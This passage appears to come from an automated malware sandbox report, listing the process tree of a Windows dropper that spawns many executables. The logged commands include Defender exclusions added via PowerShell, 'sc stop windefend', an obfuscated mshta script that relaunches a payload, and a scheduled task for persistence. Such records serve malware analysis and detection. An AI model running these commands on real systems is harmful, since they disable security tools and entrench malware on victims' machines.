    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\E627.exe" -Force
    3⤵
    PID:6284
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"
    3⤵
    PID:3660
  - - C:\Users\Admin\AppData\Local\Temp\fc8ba832-77a4-482a-98e0-fcfb257423de\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\fc8ba832-77a4-482a-98e0-fcfb257423de\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\fc8ba832-77a4-482a-98e0-fcfb257423de\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
      4⤵
      PID:6984
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fc8ba832-77a4-482a-98e0-fcfb257423de\test.bat"
        5⤵
        
        PID:7452
      - C:\Windows\system32\sc.exe
        
        sc stop windefend
        6⤵
        
        PID:2228
  - - C:\Users\Admin\AppData\Local\Temp\3d20a76e-59b0-4c6e-9b5e-c6cfcf3b202e\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\3d20a76e-59b0-4c6e-9b5e-c6cfcf3b202e\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\3d20a76e-59b0-4c6e-9b5e-c6cfcf3b202e\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
      4⤵
      PID:1624
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3d20a76e-59b0-4c6e-9b5e-c6cfcf3b202e\test.bat"
        5⤵
        
        PID:7472
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:6316
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
      4⤵
      PID:6460
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
      4⤵
      PID:2152
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
      4⤵
      PID:2952
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
      4⤵
      PID:3760
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
      4⤵
      PID:6312
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
      4⤵
      PID:8236
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe"
      4⤵
      PID:8460
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
      4⤵
      PID:8768
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
    3⤵
    PID:6368
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\E627.exe" -Force
    3⤵
    PID:2276
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
    3⤵
    PID:8144
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    PID:6972
- C:\Users\Admin\AppData\Local\Temp\3F73.exe
  C:\Users\Admin\AppData\Local\Temp\3F73.exe
  2⤵
  PID:2792
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2792 -s 460
    3⤵
    - Program crash
    PID:7488
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2792 -s 472
    3⤵
    - Program crash
    PID:6580
- C:\Users\Admin\AppData\Local\Temp\680B.exe
  C:\Users\Admin\AppData\Local\Temp\680B.exe
  2⤵
  PID:7316
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 7316 -s 272
    3⤵
    - Program crash
    PID:6936
- C:\Users\Admin\AppData\Local\Temp\E172.exe
  C:\Users\Admin\AppData\Local\Temp\E172.exe
  2⤵
  PID:6112
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6112 -s 228
    3⤵
    - Program crash
    PID:7100
- C:\Program Files (x86)\G1bt\autochkvnh.exe
  "C:\Program Files (x86)\G1bt\autochkvnh.exe"
  2⤵
  PID:6412

C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue2082ea84bd.exe
Tue2082ea84bd.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4540
- C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue2082ea84bd.exe
  C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue2082ea84bd.exe
  2⤵
  - Executes dropped EXE
  PID:5176

C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue202dc71d1d41.exe
Tue202dc71d1d41.exe
1⤵
- Executes dropped EXE
PID:3184
- C:\Users\Admin\Pictures\Adobe Films\_r5JLGq5TpDcIi2uAyCJULPW.exe
  "C:\Users\Admin\Pictures\Adobe Films\_r5JLGq5TpDcIi2uAyCJULPW.exe"
  2⤵
  - Executes dropped EXE
  PID:2780
- C:\Users\Admin\Pictures\Adobe Films\ZsFLjmWCA5_uPAySqKD9nFC7.exe
  "C:\Users\Admin\Pictures\Adobe Films\ZsFLjmWCA5_uPAySqKD9nFC7.exe"
  2⤵
  - Executes dropped EXE
  PID:5760
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5760 -s 288
    3⤵
    - Program crash
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:5636
- C:\Users\Admin\Pictures\Adobe Films\ixDP7JtggePrgoUhysMLbAzS.exe
  "C:\Users\Admin\Pictures\Adobe Films\ixDP7JtggePrgoUhysMLbAzS.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:5680
- C:\Users\Admin\Pictures\Adobe Films\eZzy0lhDfGAmGpkkI549mV7B.exe
  "C:\Users\Admin\Pictures\Adobe Films\eZzy0lhDfGAmGpkkI549mV7B.exe"
  2⤵
  PID:5960
- C:\Users\Admin\Pictures\Adobe Films\AhSnuM20FOX531ssGHPUIE8t.exe
  "C:\Users\Admin\Pictures\Adobe Films\AhSnuM20FOX531ssGHPUIE8t.exe"
  2⤵
  - Executes dropped EXE
  PID:2708
- C:\Users\Admin\Pictures\Adobe Films\ulLGgzfLQTTFAoos6gG2CmSA.exe
  "C:\Users\Admin\Pictures\Adobe Films\ulLGgzfLQTTFAoos6gG2CmSA.exe"
  2⤵
  PID:1900
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Executes dropped EXE
    - Creates scheduled task(s)
    PID:1088
- - C:\Users\Admin\Documents\aLdqy5iFgnrQiGnfWIZS3uQu.exe
    "C:\Users\Admin\Documents\aLdqy5iFgnrQiGnfWIZS3uQu.exe"
    3⤵
    PID:1376
  - - C:\Users\Admin\Pictures\Adobe Films\DMGPI0iyMmfPJ71LprDKVgES.exe
      "C:\Users\Admin\Pictures\Adobe Films\DMGPI0iyMmfPJ71LprDKVgES.exe"
      4⤵
      PID:7540
  - - C:\Users\Admin\Pictures\Adobe Films\01K6B3CTe3IDH30nzakNg7x0.exe
      "C:\Users\Admin\Pictures\Adobe Films\01K6B3CTe3IDH30nzakNg7x0.exe"
      4⤵
      PID:7156
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 292
        5⤵
        Program crash
        
        PID:3636
  - - C:\Users\Admin\Pictures\Adobe Films\oo1HhoKf1u1jIitO6dVxJibi.exe
      "C:\Users\Admin\Pictures\Adobe Films\oo1HhoKf1u1jIitO6dVxJibi.exe"
      4⤵
      PID:5796
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5796 -s 280
        5⤵
        Program crash
        
        PID:6036
  - - C:\Users\Admin\Pictures\Adobe Films\78uGyAXjXixj5_eorVev0Qtw.exe
      "C:\Users\Admin\Pictures\Adobe Films\78uGyAXjXixj5_eorVev0Qtw.exe"
      4⤵
      PID:7288
  - - C:\Users\Admin\Pictures\Adobe Films\hALyT60sY1EfopQpUygh1TkP.exe
      "C:\Users\Admin\Pictures\Adobe Films\hALyT60sY1EfopQpUygh1TkP.exe"
      4⤵
      PID:7716
  - - C:\Users\Admin\Pictures\Adobe Films\cTqkfXOEjB4R7EOEimx4XMhj.exe
      "C:\Users\Admin\Pictures\Adobe Films\cTqkfXOEjB4R7EOEimx4XMhj.exe"
      4⤵
      PID:3196
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\cTqkfXOEjB4R7EOEimx4XMhj.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\cTqkfXOEjB4R7EOEimx4XMhj.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        5⤵
        
        PID:5832
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\cTqkfXOEjB4R7EOEimx4XMhj.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\cTqkfXOEjB4R7EOEimx4XMhj.exe" ) do taskkill -f -iM "%~NxM"
        6⤵
        
        PID:4352
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "cTqkfXOEjB4R7EOEimx4XMhj.exe"
        7⤵
        Kills process with taskkill
        
        PID:6084
  - - C:\Users\Admin\Pictures\Adobe Films\6RQZDn6ucIsMAlq8Lpp_sZc0.exe
      "C:\Users\Admin\Pictures\Adobe Films\6RQZDn6ucIsMAlq8Lpp_sZc0.exe"
      4⤵
      PID:5648
    - - C:\Users\Admin\Pictures\Adobe Films\6RQZDn6ucIsMAlq8Lpp_sZc0.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\6RQZDn6ucIsMAlq8Lpp_sZc0.exe" -u
        5⤵
        
        PID:4688
  - - C:\Users\Admin\Pictures\Adobe Films\1_6hXZRZ8qe3uD2kRnsSA0HY.exe
      "C:\Users\Admin\Pictures\Adobe Films\1_6hXZRZ8qe3uD2kRnsSA0HY.exe"
      4⤵
      PID:3684
    - - C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        5⤵
        
        PID:4168
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"
        6⤵
        
        PID:1264
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x22c,0x230,0x234,0x208,0x238,0x7ffd53b0dec0,0x7ffd53b0ded0,0x7ffd53b0dee0
        7⤵
        
        PID:7748
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x13c,0x140,0x144,0x118,0x148,0x7ff7e50c9e70,0x7ff7e50c9e80,0x7ff7e50c9e90
        8⤵
        Drops startup file
        Loads dropped DLL
        Windows security modification
        Adds Run key to start application
        Checks whether UAC is enabled
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        System policy modification
        
        PID:3680
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1708,9668095346393914164,17212026427095540088,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1264_2042840811" --mojo-platform-channel-handle=1756 /prefetch:8
        7⤵
        
        PID:4336
  - - C:\Users\Admin\Pictures\Adobe Films\7PiTSpRm0qmGzXfIHUg6E3lc.exe
      "C:\Users\Admin\Pictures\Adobe Films\7PiTSpRm0qmGzXfIHUg6E3lc.exe"
      4⤵
      Suspicious use of NtCreateProcessExOtherParentProcess
      PID:7940
    - - C:\Users\Admin\AppData\Local\Temp\is-80VEI.tmp\7PiTSpRm0qmGzXfIHUg6E3lc.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-80VEI.tmp\7PiTSpRm0qmGzXfIHUg6E3lc.tmp" /SL5="$B01FE,506127,422400,C:\Users\Admin\Pictures\Adobe Films\7PiTSpRm0qmGzXfIHUg6E3lc.exe"
        5⤵
        
        PID:2628
      - C:\Users\Admin\AppData\Local\Temp\is-VOHVF.tmp\DYbALA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-VOHVF.tmp\DYbALA.exe" /S /UID=2709
        6⤵
        Loads dropped DLL
        
        PID:7360
        
        C:\Users\Admin\AppData\Local\Temp\d5-b4399-d5e-5a183-222ba247f48e1\Biqyshotuvu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\d5-b4399-d5e-5a183-222ba247f48e1\Biqyshotuvu.exe"
        7⤵
        
        PID:7108
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        8⤵
        
        PID:5024
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd3ad146f8,0x7ffd3ad14708,0x7ffd3ad14718
        9⤵
        
        PID:8172
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2208 /prefetch:2
        9⤵
        
        PID:5792
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2624 /prefetch:8
        9⤵
        
        PID:7728
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 /prefetch:3
        9⤵
        
        PID:1292
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3184 /prefetch:1
        9⤵
        
        PID:2040
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:1
        9⤵
        
        PID:7732
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5004 /prefetch:1
        9⤵
        
        PID:5212
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3772 /prefetch:1
        9⤵
        
        PID:5152
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:1
        9⤵
        
        PID:6236
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5960 /prefetch:8
        9⤵
        
        PID:6608
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5960 /prefetch:8
        9⤵
        
        PID:3508
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5432 /prefetch:1
        9⤵
        
        PID:8300
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4016 /prefetch:2
        9⤵
        
        PID:6096
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4256 /prefetch:1
        9⤵
        
        PID:8700
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2900 /prefetch:1
        9⤵
        
        PID:8564
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4988 /prefetch:1
        9⤵
        
        PID:6376
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1232 /prefetch:1
        9⤵
        
        PID:9028
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6012 /prefetch:1
        9⤵
        Checks BIOS information in registry
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2576
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6032 /prefetch:1
        9⤵
        
        PID:7760
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4276 /prefetch:1
        9⤵
        
        PID:4396
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4132 /prefetch:1
        9⤵
        
        PID:6616
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6296 /prefetch:1
        9⤵
        
        PID:5808
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4004 /prefetch:1
        9⤵
        
        PID:1412
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6512 /prefetch:1
        9⤵
        
        PID:7744
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
        8⤵
        
        PID:2288
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
